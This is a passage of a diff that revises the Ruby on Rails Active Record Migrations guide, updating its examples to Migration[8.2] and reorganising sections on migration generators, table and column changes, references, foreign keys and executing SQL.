-adapter supports DDL transactions you can use `disable_ddl_transaction!` to
-disable them for a single migration.
-
-If you wish for a migration to do something that Active Record doesn't know how
-to reverse, you can use `reversible`:
+This migration adds a table called `products` with a string column called `name`
+and a text column called `description`. A primary key column called `id` will
+also be added implicitly, as it's the default primary key for all Active Record
+models. The `timestamps` macro adds two columns, `created_at` and `updated_at`.
+These special columns are automatically managed by Active Record if they exist.
 
 ```ruby
-class ChangeProductsPrice < ActiveRecord::Migration[5.0]
-  def change
-    reversible do |dir|
-      change_table :products do |t|
-        dir.up   { t.change :price, :string }
-        dir.down { t.change :price, :integer }
-      end
-    end
+# db/schema.rb
+ActiveRecord::Schema[8.2].define(version: 2024_05_02_100843) do
+  # These are extensions that must be enabled in order to support this database
+  enable_extension "pg_catalog.plpgsql"
+
+  create_table "products", force: :cascade do |t|
+    t.string "name"
+    t.text "description"
+    t.datetime "created_at", null: false
+    t.datetime "updated_at", null: false
   end
 end
 ```
 
-Alternatively, you can use `up` and `down` instead of `change`:
+We define the change that we want to happen moving forward in time. Before this
+migration is run, there will be no table. After it is run, the table will exist.
+Active Record knows how to reverse this migration as well; if we roll this
+migration back, it will remove the table. Read more about rolling back
+migrations in the [Rolling Back section](#rolling-back).
+
+After defining the change that we want to occur moving forward in time, it's
+essential to consider the reversibility of the migration. While Active Record
+can manage the forward progression of the migration, ensuring the creation of
+the table, the concept of reversibility becomes crucial. With reversible
+migrations, not only does the migration create the table when applied, but it
+also enables smooth rollback functionality. In case of reverting the migration
+above, Active Record intelligently handles the removal of the table, maintaining
+database consistency throughout the process. See the [Reversing
+Migrations section](#using-reversible) for more details.
+
+Generating Migration Files
+----------------------
 
-```ruby
-class ChangeProductsPrice < ActiveRecord::Migration[5.0]
-  def up
-    change_table :products do |t|
-      t.change :price, :string
-    end
-  end
+### Creating a Standalone Migration
 
-  def down
-    change_table :products do |t|
-      t.change :price, :integer
-    end
-  end
-end
-```
+Migrations are stored as files in the `db/migrate` directory, one for each
+migration class.
 
-Creating a Migration
---------------------
+The name of the file is of the form `YYYYMMDDHHMMSS_create_products.rb`, it
+contains a UTC timestamp identifying the migration followed by an underscore
+followed by the name of the migration. The name of the migration class
+(CamelCased version) should match the latter part of the file name.
 
-### Creating a Standalone Migration
+For example, `20240502100843_create_products.rb` should define class
+`CreateProducts` and `20240502101659_add_details_to_products.rb` should define
+class `AddDetailsToProducts`. Rails uses this timestamp to determine which
+migration should be run and in what order, so if you're copying a migration from
+another application or generating a file yourself, be aware of its position in
+the order. You can read more about how the timestamps are used in the [Rails
+Migration Version Control section](#rails-migration-version-control).
 
-Migrations are stored as files in the `db/migrate` directory, one for each
-migration class. The name of the file is of the form
-`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp
-identifying the migration followed by an underscore followed by the name
-of the migration. The name of the migration class (CamelCased version)
-should match the latter part of the file name. For example
-`20080906120000_create_products.rb` should define class `CreateProducts` and
-`20080906120001_add_details_to_products.rb` should define
-`AddDetailsToProducts`. Rails uses this timestamp to determine which migration
-should be run and in what order, so if you're copying a migration from another
-application or generate a file yourself, be aware of its position in the order.
-
-Of course, calculating timestamps is no fun, so Active Record provides a
-generator to handle making it for you:
+NOTE: You can override the directory that migrations are stored in by setting the
+`migrations_paths` option in your `config/database.yml`.
+
+When generating a migration, Active Record automatically prepends the current
+timestamp to the file name of the migration. For example, running the command
+below will create an empty migration file whereby the filename is made up of a
+timestamp prepended to the underscored name of the migration.
 
 ```bash
 $ bin/rails generate migration AddPartNumberToProducts
 ```
 
-This will create an empty but appropriately named migration:
-
 ```ruby
-class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+# db/migrate/20240502101659_add_part_number_to_products.rb
+class AddPartNumberToProducts < ActiveRecord::Migration[8.2]
   def change
   end
 end
 ```
 
-If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
-followed by a list of column names and types then a migration containing the
-appropriate `add_column` and `remove_column` statements will be created.
+The generator can do much more than prepend a timestamp to the file name. Based
+on naming conventions and additional (optional) arguments it can also start
+fleshing out the migration.
+
+The following sections will cover the various ways you can create migrations
+based on conventions and additional arguments.
+
+### Creating a New Table
+
+When you want to create a new table in your database, you can use a migration
+with the format "CreateXXX" followed by a list of column names and types. This
+will generate a migration file that sets up the table with the specified
+columns.
 
 ```bash
-$ bin/rails generate migration AddPartNumberToProducts part_number:string
+$ bin/rails generate migration CreateProducts name:string part_number:string
 ```
 
-will generate
+generates
 
 ```ruby
-class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+class CreateProducts < ActiveRecord::Migration[8.2]
   def change
-    add_column :products, :part_number, :string
+    create_table :products do |t|
+      t.string :name
+      t.string :part_number
+
+      t.timestamps
+    end
   end
 end
 ```
 
-If you'd like to add an index on the new column, you can do that as well:
+NOTE: If you don't specify a type for a field (e.g., `name` instead of `name:string`), Rails will default to type `string`.
+
+The generated file with its contents is just a starting point, and you can add
+or remove from it as you see fit by editing the
+`db/migrate/YYYYMMDDHHMMSS_create_products.rb` file.
+
+### Adding Columns
+
+When you want to add a new column to an existing table in your database, you can
+use a migration with the format "AddColumnToTable" followed by a list of column
+names and types. This will generate a migration file containing the appropriate
+[`add_column`][] statements.
 
 ```bash
-$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
+$ bin/rails generate migration AddPartNumberToProducts part_number:string
 ```
 
-will generate
+This will generate the following migration:
 
 ```ruby
-class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+class AddPartNumberToProducts < ActiveRecord::Migration[8.2]
   def change
     add_column :products, :part_number, :string
-    add_index :products, :part_number
   end
 end
 ```
 
+NOTE: Rails infers the target table from the migration name when it matches the
+`add_<columns>_to_<table>` or `remove_<columns>_from_<table>` patterns. Using a
+name such as `AddPartNumberToProducts` lets the generator configure
+`add_column :products, ...` automatically. For more on these conventions, run
+`bin/rails generate migration --help` to see the generator usage and examples.
 
-Similarly, you can generate a migration to remove a column from the command line:
+If you'd like to add an index on the new column, you can do that as well.
 
 ```bash
-$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
+$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
 ```
 
-generates
+This will generate the appropriate [`add_column`][] and [`add_index`][]
+statements:
 
 ```ruby
-class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0]
+class AddPartNumberToProducts < ActiveRecord::Migration[8.2]
   def change
-    remove_column :products, :part_number, :string
+    add_column :products, :part_number, :string
+    add_index :products, :part_number
   end
 end
 ```
 
-You are not limited to one magically generated column. For example:
+You are **not** limited to one magically generated column. For example:
 
 ```bash
 $ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal
 ```
 
-generates
+This will generate a schema migration which adds two additional columns to the
+`products` table.
 
 ```ruby
-class AddDetailsToProducts < ActiveRecord::Migration[5.0]
+class AddDetailsToProducts < ActiveRecord::Migration[8.2]
   def change
     add_column :products, :part_number, :string
     add_column :products, :price, :decimal
@@ -204,85 +234,120 @@ class AddDetailsToProducts < ActiveRecord::Migration[5.0]
 end
 ```
 
-If the migration name is of the form "CreateXXX" and is
-followed by a list of column names and types then a migration creating the table
-XXX with the columns listed will be generated. For example:
+### Removing Columns
+
+Similarly, if the migration name is of the form "RemoveColumnFromTable" and is
+followed by a list of column names and types then a migration containing the
+appropriate [`remove_column`][] statements will be created.
 
 ```bash
-$ bin/rails generate migration CreateProducts name:string part_number:string
+$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
 ```
 
-generates
+This will generate the appropriate [`remove_column`][] statements:
 
 ```ruby
-class CreateProducts < ActiveRecord::Migration[5.0]
+class RemovePartNumberFromProducts < ActiveRecord::Migration[8.2]
   def change
-    create_table :products do |t|
-      t.string :name
-      t.string :part_number
-    end
+    remove_column :products, :part_number, :string
   end
 end
 ```
 
-As always, what has been generated for you is just a starting point. You can add
-or remove from it as you see fit by editing the
-`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file.
+### Creating Associations
+
+Active Record associations are used to define relationships between different
+models in your application, allowing them to interact with each other through
+their relationships and making it easier to work with related data. To learn
+more about associations, you can refer to the [Association Basics
+guide](association_basics.html).
 
-Also, the generator accepts column type as `references` (also available as
-`belongs_to`). For instance:
+One common use case for associations is creating foreign key references between
+tables. The generator accepts column types such as `references` to facilitate
+this process. [References](#references) are a shorthand for creating columns,
+indexes, foreign keys, or even polymorphic association columns.
+
+For example,
 
 ```bash
 $ bin/rails generate migration AddUserRefToProducts user:references
 ```
 
-generates
+generates the following [`add_reference`][] call:
 
 ```ruby
-class AddUserRefToProducts < ActiveRecord::Migration[5.0]
+class AddUserRefToProducts < ActiveRecord::Migration[8.2]
   def change
-    add_reference :products, :user, foreign_key: true
+    add_reference :products, :user, null: false, foreign_key: true
   end
 end
 ```
 
-This migration will create a `user_id` column and appropriate index.
-For more `add_reference` options, visit the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference).
+The above migration creates a foreign key called `user_id` in the `products`
+table, where `user_id` is a reference to the `id` column in the `users` table.
+It also creates an index for the `user_id` column. The schema looks as follows:
 
-There is also a generator which will produce join tables if `JoinTable` is part of the name:
+```ruby
+  create_table "products", force: :cascade do |t|
+    t.bigint "user_id", null: false
+    t.index ["user_id"], name: "index_products_on_user_id"
+  end
+```
+
+`belongs_to` is an alias of `references`, so the above could be alternatively
+written as:
+
+```bash
+$ bin/rails generate migration AddUserRefToProducts user:belongs_to
+```
+
+generating a migration and schema that is the same as above.
+
+There is also a generator which will produce join tables if `JoinTable` is part
+of the name:
 
 ```bash
-$ bin/rails g migration CreateJoinTableCustomerProduct customer product
+$ bin/rails generate migration CreateJoinTableUserProduct user product
 ```
 
 will produce the following migration:
 
 ```ruby
-class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0]
+class CreateJoinTableUserProduct < ActiveRecord::Migration[8.2]
   def change
-    create_join_table :customers, :products do |t|
-      # t.index [:customer_id, :product_id]
-      # t.index [:product_id, :customer_id]
+    create_join_table :users, :products do |t|
+      # t.index [:user_id, :product_id]
+      # t.index [:product_id, :user_id]
     end
   end
 end
 ```
 
-### Model Generators
+[`add_column`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column
+[`add_index`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index
+[`add_reference`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference
+[`remove_column`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_column
+
+### Other Generators that Create Migrations
 
-The model and scaffold generators will create migrations appropriate for adding
-a new model. This migration will already contain instructions for creating the
-relevant table. If you tell Rails what columns you want, then statements for
-adding these columns will also be created. For example, running:
+In addition to the `migration` generator, the `model`, `resource`, and
+`scaffold` generators will create migrations appropriate for adding a new model.
+This migration will already contain instructions for creating the relevant
+table. If you tell Rails what columns you want, then statements for adding these
+columns will also be created. For example, running:
 
 ```bash
 $ bin/rails generate model Product name:string description:text
 ```
 
-will create a migration that looks like this
+This will create a migration that looks like this:
 
 ```ruby
-class CreateProducts < ActiveRecord::Migration[5.0]
+class CreateProducts < ActiveRecord::Migration[8.2]
   def change
     create_table :products do |t|
       t.string :name
@@ -298,8 +363,11 @@ You can append as many column name/type pairs as you want.
 
 ### Passing Modifiers
 
-Some commonly used [type modifiers](#column-modifiers) can be passed directly on
-the command line. They are enclosed by curly braces and follow the field type:
+When generating migrations, you can pass commonly used [type
+modifiers](#column-modifiers) directly on the command line. These modifiers,
+enclosed by curly braces and following the field type, allow you to tailor the
+characteristics of your database columns without needing to manually edit the
+migration file afterward.
 
 For instance, running:
 
@@ -310,7 +378,7 @@ $ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplie
 will produce a migration that looks like this
 
 ```ruby
-class AddDetailsToProducts < ActiveRecord::Migration[5.0]
+class AddDetailsToProducts < ActiveRecord::Migration[8.2]
   def change
     add_column :products, :price, :decimal, precision: 5, scale: 2
     add_reference :products, :supplier, polymorphic: true
@@ -318,19 +386,40 @@ class AddDetailsToProducts < ActiveRecord::Migration[5.0]
 end
 ```
 
-TIP: Have a look at the generators help output for further details.
+`NOT NULL` constraints can be imposed from the command line using the `!`
+shortcut:
 
-Writing a Migration
--------------------
+```bash
+$ bin/rails generate migration AddEmailToUsers email:string!
+```
 
-Once you have created your migration using one of the generators it's time to
-get to work!
+will produce this migration
+
+```ruby
+class AddEmailToUsers < ActiveRecord::Migration[8.2]
+  def change
+    add_column :users, :email, :string, null: false
+  end
+end
+```
+
+TIP: For further help with generators, run `bin/rails generate --help`.
+Alternatively, you can also run `bin/rails generate model --help` or `bin/rails
+generate migration --help` for help with specific generators.
+
+Updating Migrations
+------------------
+
+Once you have created your migration file using one of the generators from the
+above [section](#generating-migration-files), you can update the generated
+migration file in the `db/migrate` folder to define further changes you want to
+make to your database schema.
 
 ### Creating a Table
 
-The `create_table` method is one of the most fundamental, but most of the time,
-will be generated for you from using a model or scaffold generator. A typical
-use would be
+The [`create_table`][] method is one of the most fundamental migration type, but
+most of the time, will be generated for you from using a model, resource, or
+scaffold generator. A typical use would be
 
 ```ruby
 create_table :products do |t|
@@ -338,14 +427,103 @@ create_table :products do |t|
 end
 ```
 
-which creates a `products` table with a column called `name` (and as discussed
-below, an implicit `id` column).
+This method creates a `products` table with a column called `name`.
+
+
+#### Associations
+
+If you're creating a table for a model that has an association, you can use the
+`:references` type to create the appropriate column type. For example:
+
+```ruby
+create_table :products do |t|
+  t.references :category
+end
+```
+
+This will create a `category_id` column. Alternatively, you can use `belongs_to`
+as an alias for `references`:
+
+```ruby
+create_table :products do |t|
+  t.belongs_to :category
+end
+```
+
+You can also specify the column type and index creation using the
+[`:polymorphic`](association_basics.html#polymorphic-associations) option:
+
+```ruby
+create_table :taggings do |t|
+  t.references :taggable, polymorphic: true
+end
+```
+
+This will create `taggable_id`, `taggable_type` columns and the appropriate
+indexes.
+
+#### Primary Keys
+
+By default, `create_table` will implicitly create a primary key called `id` for
+you. You can change the name of the column with the `:primary_key` option, like
+below:
+
+```ruby
+class CreateUsers < ActiveRecord::Migration[8.2]
+  def change
+    create_table :users, primary_key: "user_id" do |t|
+      t.string :username
+      t.string :email
+      t.timestamps
+    end
+  end
+end
+```
+
+This will yield the following schema:
+
+```ruby
+create_table "users", primary_key: "user_id", force: :cascade do |t|
+  t.string "username"
+  t.string "email"
+  t.datetime "created_at", precision: 6, null: false
+  t.datetime "updated_at", precision: 6, null: false
+end
+```
+
+You can also pass an array to `:primary_key` for a composite primary key. Read
+more about [composite primary keys](active_record_composite_primary_keys.html).
+
+```ruby
+class CreateUsers < ActiveRecord::Migration[8.2]
+  def change
+    create_table :users, primary_key: [:id, :name] do |t|
+      t.string :name
+      t.string :email
+      t.timestamps
+    end
+  end
+end
+```
 
-By default, `create_table` will create a primary key called `id`. You can change
-the name of the primary key with the `:primary_key` option (don't forget to
-update the corresponding model) or, if you don't want a primary key at all, you
-can pass the option `id: false`. If you need to pass database specific options
-you can place an SQL fragment in the `:options` option. For example:
+If you don't want a primary key at all, you can pass the option `id: false`.
+
+```ruby
+class CreateUsers < ActiveRecord::Migration[8.2]
+  def change
+    create_table :users, id: false do |t|
+      t.string :username
+      t.string :email
+      t.timestamps
+    end
+  end
+end
+```
+
+#### Database Options
+
+If you need to pass database-specific options you can place an SQL fragment in
+the `:options` option. For example:
 
 ```ruby
 create_table :products, options: "ENGINE=BLACKHOLE" do |t|
@@ -353,46 +531,85 @@ create_table :products, options: "ENGINE=BLACKHOLE" do |t|
 end
 ```
 
-will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
-(when using MySQL or MariaDB, the default is `ENGINE=InnoDB`).
+This will append `ENGINE=BLACKHOLE` to the SQL statement used to create the
+table.
+
+An index can be created on the columns created within the `create_table` block
+by passing `index: true` or an options hash to the `:index` option:
+
+```ruby
+create_table :users do |t|
+  t.string :name, index: true
+  t.string :email, index: { unique: true, name: "unique_emails" }
+end
+```
+
+[`create_table`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_table
+
+#### Comments
 
-Also you can pass the `:comment` option with any description for the table
-that will be stored in database itself and can be viewed with database administration
-tools, such as MySQL Workbench or PgAdmin III. It's highly recommended to specify
-comments in migrations for applications with large databases as it helps people
-to understand data model and generate documentation.
-Currently only the MySQL and PostgreSQL adapters support comments.
+You can pass the `:comment` option with any description for the table that will
+be stored in the database itself and can be viewed with database administration
+tools, such as MySQL Workbench or PgAdmin III. Comments can help team members to
+better understand the data model and to generate documentation in applications
+with large databases. Currently only the MySQL and PostgreSQL adapters support
+comments.
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration[8.2]
+  def change
+    add_column :products, :price, :decimal, precision: 8, scale: 2, comment: "The price of the product in USD"
+    add_column :products, :stock_quantity, :integer, comment: "The current stock quantity of the product"
+  end
+end
+```
 
 ### Creating a Join Table
 
-The migration method `create_join_table` creates an HABTM (has and belongs to
-many) join table. A typical use would be:
+The migration method [`create_join_table`][] creates an [HABTM (has and belongs
+to many)](association_basics.html#the-has-and-belongs-to-many-association) join
+table. A typical use would be:
 
 ```ruby
 create_join_table :products, :categories
 ```
 
-which creates a `categories_products` table with two columns called
-`category_id` and `product_id`. These columns have the option `:null` set to
-`false` by default. This can be overridden by specifying the `:column_options`
-option:
+This migration will create a `categories_products` table with two columns called
+`category_id` and `product_id`.
+
+These columns have the option `:null` set to `false` by default, meaning that
+you **must** provide a value in order to save a record to this table. This can
+be overridden by specifying the `:column_options` option:
 
 ```ruby
 create_join_table :products, :categories, column_options: { null: true }
 ```
 
 By default, the name of the join table comes from the union of the first two
-arguments provided to create_join_table, in alphabetical order.
+arguments provided to create_join_table, in lexical order. In this case,
+the table would be named `categories_products`.
+
+WARNING: The precedence between model names is calculated using the `<=>`
+operator for `String`. This means that if the strings are of different lengths,
+and the strings are equal when compared up to the shortest length, then the
+longer string is considered of higher lexical precedence than the shorter one.
+For example, one would expect the tables "paper_boxes" and "papers" to generate
+a join table name of "papers_paper_boxes" because of the length of the name
+"paper_boxes", but it in fact generates a join table name of
+"paper_boxes_papers" (because the underscore '\_' is lexicographically _less_
+than 's' in common encodings).
+
 To customize the name of the table, provide a `:table_name` option:
 
 ```ruby
 create_join_table :products, :categories, table_name: :categorization
 ```
 
-creates a `categorization` table.
+This creates a join table with the name `categorization`.
 
-`create_join_table` also accepts a block, which you can use to add indices
-(which are not created by default) or additional columns:
+Also, `create_join_table` accepts a block, which you can use to add indices
+(which are not created by default) or any additional columns you so choose.
 
 ```ruby
 create_join_table :products, :categories do |t|
@@ -401,11 +618,15 @@ create_join_table :products, :categories do |t|
 end
 ```
 
+[`create_join_table`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_join_table
+
 ### Changing Tables
 
-A close cousin of `create_table` is `change_table`, used for changing existing
-tables. It is used in a similar fashion to `create_table` but the object
-yielded to the block knows more tricks. For example:
+If you want to change an existing table in place, there is [`change_table`][].
+
+It is used in a similar fashion to `create_table` but the object yielded inside
+the block has access to a number of special functions, for example:
 
 ```ruby
 change_table :products do |t|
@@ -416,12 +637,17 @@ change_table :products do |t|
 end
 ```
 
-removes the `description` and `name` columns, creates a `part_number` string
-column and adds an index on it. Finally it renames the `upccode` column.
+This migration will remove the `description` and `name` columns, create a new
+string column called `part_number` and add an index on it. Finally, it renames
+the `upccode` column to `upc_code`.
+
+[`change_table`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table
 
 ### Changing Columns
 
-Like the `remove_column` and `add_column` Rails provides the `change_column`
+Similar to the `remove_column` and `add_column` methods we covered
+[earlier](#adding-columns), Rails also provides the [`change_column`][]
 migration method.
 
 ```ruby
@@ -429,70 +655,157 @@ change_column :products, :part_number, :text
 ```
 
 This changes the column `part_number` on products table to be a `:text` field.
-Note that `change_column` command is irreversible.
 
-Besides `change_column`, the `change_column_null` and `change_column_default`
-methods are used specifically to change a not null constraint and default
-values of a column.
+NOTE: The `change_column` command is **irreversible**. To ensure your migration
+can be safely reverted, you will need to provide your own `reversible`
+migration. See the [Reversible Migrations section](#using-reversible) for more
+details.
+
+Besides `change_column`, the [`change_column_null`][] and
+[`change_column_default`][] methods are used to change a null constraint and
+default values of a column.
 
 ```ruby
-change_column_null :products, :name, false
 change_column_default :products, :approved, from: true, to: false
 ```
 
-This sets `:name` field on products to a `NOT NULL` column and the default
-value of the `:approved` field from true to false.
+This changes the default value of the `:approved` field from true to false. This
+change will only be applied to future records, any existing records do not
+change. Use [`change_column_null`][] to change a null constraint.
+
+```ruby
+change_column_null :products, :name, false
+```
+
+This sets `:name` field on products to a `NOT NULL` column. This change applies
+to existing records as well, so you need to make sure all existing records have
+a `:name` that is `NOT NULL`.
 
-Note: You could also write the above `change_column_default` migration as
+Setting the null constraint to `true` implies that column will accept a null
+value, otherwise the `NOT NULL` constraint is applied and a value must be passed
+in order to persist the record to the database.
+
+NOTE: You could also write the above `change_column_default` migration as
 `change_column_default :products, :approved, false`, but unlike the previous
 example, this would make your migration irreversible.
 
+[`change_column`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column
+[`change_column_default`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_default
+[`change_column_null`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_null
+
 ### Column Modifiers
 
 Column modifiers can be applied when creating or changing a column:
 
-* `limit`        Sets the maximum size of the `string/text/binary/integer` fields.
-* `precision`    Defines the precision for the `decimal` fields, representing the
-total number of digits in the number.
-* `scale`        Defines the scale for the `decimal` fields, representing the
-number of digits after the decimal point.
-* `polymorphic`  Adds a `type` column for `belongs_to` associations.
-* `null`         Allows or disallows `NULL` values in the column.
-* `default`      Allows to set a default value on the column. Note that if you
-are using a dynamic value (such as a date), the default will only be calculated
-the first time (i.e. on the date the migration is applied).
-* `index`        Adds an index for the column.
 * `comment`      Adds a comment for the column.
+* `collation`    Specifies the collation for a `string` or `text` column.
+* `default`      Allows to set a default value on the column. Note that if you
+  are using a dynamic value (such as a date), the default will only be
+  calculated the first time (i.e. on the date the migration is applied). Use
+  `nil` for `NULL`.
+* `limit`        Sets the maximum number of characters for a `string` column and
+  the maximum number of bytes for `text/binary/integer` columns.
+* `null`         Allows or disallows `NULL` values in the column.
+* `precision`    Specifies the precision for `decimal/numeric/datetime/time`
+  columns.
+* `scale`        Specifies the scale for the `decimal` and `numeric` columns,
+  representing the number of digits after the decimal point.
+
+NOTE: For `add_column` or `change_column` there is no option for adding indexes.
+They need to be added separately using `add_index`.
 
 Some adapters may support additional options; see the adapter specific API docs
 for further information.
 
-NOTE: `null` and `default` cannot be specified via command line.
+NOTE: `default` cannot be specified via command line when generating migrations.
+
+### References
+
+The `add_reference` method allows the creation of an appropriately named column
+acting as the connection between one or more associations.
+
+```ruby
+add_reference :users, :role
+```
+
+This migration will create a foreign key column called `role_id` in the users
+table. `role_id` is a reference to the `id` column in the `roles` table. In
+addition, it creates an index for the `role_id` column, unless it is explicitly
+told not to do so with the `index: false` option.
+
+INFO: See also the [Active Record Associations][] guide to learn more.
+
+The method `add_belongs_to` is an alias of `add_reference`.
+
+```ruby
+add_belongs_to :taggings, :taggable, polymorphic: true
+```
+
+The polymorphic option will create two columns on the taggings table which can
+be used for polymorphic associations: `taggable_type` and `taggable_id`.
+
+INFO: See this guide to learn more about [polymorphic associations][].
+
+A foreign key can be created with the `foreign_key` option.
+
+```ruby
+add_reference :users, :role, foreign_key: true
+```
+
+For more `add_reference` options, visit the [API
+documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference).
+
+References can also be removed:
+
+```ruby
+remove_reference :products, :user, foreign_key: true, index: false
+```
+
+[Active Record Associations]: association_basics.html
+[polymorphic associations]: association_basics.html#polymorphic-associations
 
 ### Foreign Keys
 
-While it's not required you might want to add foreign key constraints to
+While it's not required, you might want to add foreign key constraints to
 [guarantee referential integrity](#active-record-and-referential-integrity).
 
 ```ruby
 add_foreign_key :articles, :authors
 ```
 
-This adds a new foreign key to the `author_id` column of the `articles`
-table. The key references the `id` column of the `authors` table. If the
-column names can not be derived from the table names, you can use the
-`:column` and `:primary_key` options.
+The [`add_foreign_key`][] call adds a new constraint to the `articles` table.
+The constraint guarantees that a row in the `authors` table exists where the
+`id` column matches the `articles.author_id` to ensure all reviewers listed in
+the articles table are valid authors listed in the authors table.
 
-Rails will generate a name for every foreign key starting with
-`fk_rails_` followed by 10 characters which are deterministically
-generated from the `from_table` and `column`.
-There is a `:name` option to specify a different name if needed.
+NOTE: When using `references` in a migration, you are creating a new column in
+the table and you'll have the option to add a foreign key using `foreign_key:
+true` to that column. However, if you want to add a foreign key to an existing
+column, you can use `add_foreign_key`.
 
-NOTE: Active Record only supports single column foreign keys. `execute` and
-`structure.sql` are required to use composite foreign keys. See
-[Schema Dumping and You](#schema-dumping-and-you).
+If the column name of the table to which we're adding the foreign key cannot be
+derived from the table with the referenced primary key then you can use the
+`:column` option to specify the column name. Additionally, you can use the
+`:primary_key` option if the referenced primary key is not `:id`.
+
+For example, to add a foreign key on `articles.reviewer` referencing
+`authors.email`:
+
+```ruby
+add_foreign_key :articles, :authors, column: :reviewer, primary_key: :email
+```
 
-Removing a foreign key is easy as well:
+This will add a constraint to the `articles` table that guarantees a row in the
+`authors` table exists where the `email` column matches the `articles.reviewer`
+field.
+
+Several other options such as `name`, `on_delete`, `if_not_exists`, `validate`,
+and `deferrable` are supported by `add_foreign_key`.
+
+Foreign keys can also be removed using [`remove_foreign_key`][]:
 
 ```ruby
 # let Active Record figure out the column name
@@ -500,157 +813,277 @@ remove_foreign_key :accounts, :branches
 
 # remove foreign key for a specific column
 remove_foreign_key :accounts, column: :owner_id
+```
+
+NOTE: Active Record only supports single column foreign keys. `execute` and
+`structure.sql` are required to use composite foreign keys. See [Schema Dumping
+and You](#schema-dumping-and-you).
+
+### Composite Primary Keys
 
-# remove foreign key by name
-remove_foreign_key :accounts, name: :special_fk_name
+Sometimes a single column's value isn't enough to uniquely identify every row of
+a table, but a combination of two or more columns *does* uniquely identify it.
+This can be the case when using a legacy database schema without a single `id`
+column as a primary key, or when altering schemas for sharding or multitenancy.
+
+You can create a table with a composite primary key by passing the
+`:primary_key` option to `create_table` with an array value:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration[8.2]
+  def change
+    create_table :products, primary_key: [:customer_id, :product_sku] do |t|
+      t.integer :customer_id
+      t.string :product_sku
+      t.text :description
+    end
+  end
+end
 ```
 
-### When Helpers aren't Enough
+INFO: Tables with composite primary keys require passing array values rather
+than integer IDs to many methods. See also the [Active Record Composite Primary
+Keys](active_record_composite_primary_keys.html) guide to learn more.
+
+### Execute SQL
 
-If the helpers provided by Active Record aren't enough you can use the `execute`
-method to execute arbitrary SQL:
+If the helpers provided by Active Record aren't enough, you can use the
+[`execute`][] method to execute SQL commands. For example,
 
 ```ruby
-Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1")
+class UpdateProductPrices < ActiveRecord::Migration[8.2]
+  def up
+    execute "UPDATE products SET price = 'free'"
+  end
+
+  def down
+    execute "UPDATE products SET price = 'original_price' WHERE price = 'free';"
+  end
+end
 ```
 
-For more details and examples of individual methods, check the API documentation.
+In this example, we're updating the `price` column of the products table to
+'free' for all records.
+
+WARNING: Modifying data directly in migrations should be approached with
+caution. Consider if this is the best approach for your use case, and be aware
+of potential drawbacks such as increased complexity and maintenance overhead,
+risks to data integrity and database portability. See the [Data Migrations
+documentation](#data-migrations) for more details.
+
+For more details and examples of individual methods, check the API
+documentation.
+
 In particular the documentation for
-[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html)
-(which provides the methods available in the `change`, `up` and `down` methods),
-[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html)
-(which provides the methods available on the object yielded by `create_table`)
-and
-[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html)
-(which provides the methods available on the object yielded by `change_table`).
+[`ActiveRecord::ConnectionAdapters::SchemaStatements`][], which provides the
+methods available in the `change`, `up` and `down` methods.
+
+For methods available regarding the object yielded by `create_table`, see
+[`ActiveRecord::ConnectionAdapters::TableDefinition`][].
+
+And for the object yielded by `change_table`, see
+[`ActiveRecord::ConnectionAdapters::Table`][].
+
+[`execute`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-execute
+[`ActiveRecord::ConnectionAdapters::SchemaStatements`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html
+[`ActiveRecord::ConnectionAdapters::TableDefinition`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html
+[`ActiveRecord::ConnectionAdapters::Table`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html
 
 ### Using the `change` Method
 
 The `change` method is the primary way of writing migrations. It works for the
-majority of cases, where Active Record knows how to reverse the migration
-automatically. Currently, the `change` method supports only these migration
-definitions:
-
-* add_column
-* add_foreign_key
-* add_index
-* add_reference
-* add_timestamps
